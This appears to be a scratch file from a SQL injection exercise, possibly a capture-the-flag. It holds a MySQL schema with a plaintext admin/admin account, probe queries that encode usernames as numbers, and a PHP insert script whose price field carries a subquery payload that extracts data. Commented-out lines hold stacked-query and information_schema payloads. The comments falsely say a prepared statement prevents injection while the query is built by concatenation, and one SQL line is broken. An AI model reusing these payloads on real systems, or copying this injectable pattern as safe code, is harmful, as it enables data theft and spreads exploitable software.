CREATE TABLE products (
Id INTEGER PRIMARY KEY AUTO_INCREMENT,
name TEXT NOT NULL,
description TEXT NOT NULL,
price REAL NOT NULL
);
Create table users (
id INTEGER PRIMARY KEY AUTO_INCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL,
email TEXT NOT NULL,
admin INTEGER NOT NULL DEFAULT 0
);
insert into users (username, password, email, admin) values ('admin', 'admin', 'admin@localhost', 1);
INSERT INTO products (name, description, price) VALUES ('Prueba','Prueba',1000);
SELECT CONCAT("hola", "Adios");
select username from users limit 1;
SELECT conv(hex((select username from users limit 1)), 16, 10);
SELECT conv(hex("nlp{"), 16, 10);
SELECT conv('27328699945778', 16, 10);
SELECT unhex(conv(27328699945778, 10, 16));
SELECT CONCAT(SELECT length(username) FROM users LIMIT 1, SELECT length(password) FROM users LIMIT 1))
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
session_start();
// Retrieve the product information from the form
$name = mysqli_real_escape_string($mysqli, "Name");
$description = mysqli_real_escape_string($mysqli, "version()");
//$price = mysqli_real_escape_string($mysqli, "1000); SELECT * FROM products WHERE (1=1");
//$price = mysqli_real_escape_string($mysqli, "@VERSION");
$price = "(SELECT conv(hex((select username from users limit 1)), 16, 10))";
echo $name;
//"INSERT INTO products (name, description, price) VALUES ('NAME','Description',1000); SELECT table_name FROM information_schema.tables where (1=1);
$sql = "INSERT INTO products (name, description, price) VALUES ('".$name."','".$description."',".$price.");";
// Use a prepared statement to prevent SQL injection attacks
echo $sql;
$query = mysqli_prepare($mysqli, $sql);
// mysqli_stmt_bind_param($query, "ssd", $name, $description, $price);
mysqli_stmt_execute($query);
// Use a prepared statement to prevent SQL injection attacks
$query = mysqli_prepare($mysqli, "SELECT * FROM products");
mysqli_stmt_execute($query);
// Store the result of the query
$result = mysqli_stmt_get_result($query);
// Loop through the rows of the result
while ($row = mysqli_fetch_assoc($result)) {
// Display the product information
echo "<h2>" . $row['name'] . "</h2>";
echo "<p>" . $row['description'] . "</p>";
echo "<p>Price: $" . $row['price'] . "</p>";
echo "<hr>";
}
?>